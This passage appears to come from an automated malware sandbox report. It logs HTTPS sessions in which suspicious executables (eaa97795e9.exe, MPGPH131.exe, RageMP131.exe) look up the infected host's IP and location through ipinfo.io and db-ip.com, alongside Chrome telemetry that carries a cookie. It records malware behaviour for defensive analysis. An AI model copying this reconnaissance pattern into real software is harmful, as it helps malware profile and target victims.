2024-06-20 13:38:37 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49796	34.117.186.192	443	7600	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:38 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 13:38:39 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:38:39 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:38:39 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 13:38:39 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49798	104.26.5.15	443	7600	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:39 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 13:38:39 UTC	657	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 13:38:39 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9FCE:FF02_93878F2E:0050_667430DF_14AC5E02:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZqZ3eo5shUsxUF1frDQG2TkYt3BlHUTbGVGtv3EttXxknpniE1Oiurzw9j1g8%2Bou%2B3uaaU4nWqfQfgMFiME5gcCIDrCP6Q%2Bl1RF0zqZ6VZ2echV2Ja20dNu%2Brw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896c29164a70425b-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 13:38:39 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 13:38:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49808	34.117.186.192	443	8184	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:42 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 13:38:42 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:38:42 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:38:42 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 13:38:42 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49810	34.117.186.192	443	4696	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:42 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 13:38:42 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:38:42 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:38:42 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 13:38:42 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49811	34.117.186.192	443	5668	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:42 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 13:38:42 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:38:42 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:38:42 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 13:38:42 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49812	104.26.5.15	443	8184	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:42 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 13:38:42 UTC	655	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 13:38:42 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9A7A:2714_93878F2E:0050_667430E2_14AC5E71:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FV2iKE4fKbLrUMjFTD6fkIFvO%2FknVgxceE3NYmVT2vhMb16g76ubyURATxX%2BFFiY1je6TVqLSLQI8GnWxwCQPJnf3NjGDZAVsGVOZq82ZukRWXDnmwolVzQarQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896c292a0c5442f8-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 13:38:42 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 13:38:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49814	104.26.5.15	443	4696	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:43 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 13:38:43 UTC	653	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 13:38:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E3F6C:D4DC_93878F2E:0050_667430E3_14AC5E81:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lOw5kWrR6FdEav8s2VYCI04IgkIW6bcYgsOCNgKnrtJSsGR9vbGgDiZU8oIwJnk4EOUuc4Mh8m6fO%2BDfMlCiHy61WBTgC%2F3hEjBhKlAFo5fulbYDZSS0ti7WqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896c292bfe0cc334-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 13:38:43 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 13:38:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49816	104.26.5.15	443	5668	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:43 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 13:38:43 UTC	655	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 13:38:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9F0C:3524_93878F2E:0050_667430E3_14AC5E8B:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=msHf5BPnsK12%2FS7f37wbZeGUBoN9UG4H5RoXnoE1kS0YP8VUXRH%2Bb7smarW9dT8LMibhKDA0DufLSHDGY8t6TfTbR18VLAvcDAC6MGw5m%2B9d1iKRKMs4K4UL6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896c292d5d84427f-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 13:38:43 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 13:38:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49815	142.250.186.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:43 UTC	1307	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1221 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=KSgULNmzjL8qyIbDCe-Yco28o8Cf-muWTuSJmoxKg_t4muh_3JDxUpyGFiwldkc-6j3Hm1hRjM3N0eBeyXFf4G241JJl-Ut4D6gwkxUYS6HBZ6HLfikpmMd_p-_QZUzUMiY_ELsN6PrvpXRbIQAuqQ6BkdtluR2v4nPdIau23qQ
2024-06-20 13:38:43 UTC	1221	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 31 38 38 39 30 37 31 31 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1718890711000",null,null,null,
2024-06-20 13:38:43 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=Qmsv6WluUD0O7Ox8wQ2_6BNiBL1mpJqmZYh2joQze5qIuRjUABvm2H1QIoRCwiR9x2xvFMOyo1S4UopHFa0EKXt8CceU0zme8FofzHzJ1YBaoZ8vQ3EujKX_0d16RUDjZwj3NTApvaUYQXdyXpwq1L663AHna5K50IaGgRzFkng; expires=Fri, 20-Dec-2024 13:38:43 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 20 Jun 2024 13:38:43 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 20 Jun 2024 13:38:43 GMT Connection: close Transfer-Encoding: chunked
2024-06-20 13:38:43 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-06-20 13:38:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49818	34.117.186.192	443	8780	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:43 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 13:38:43 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:38:43 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
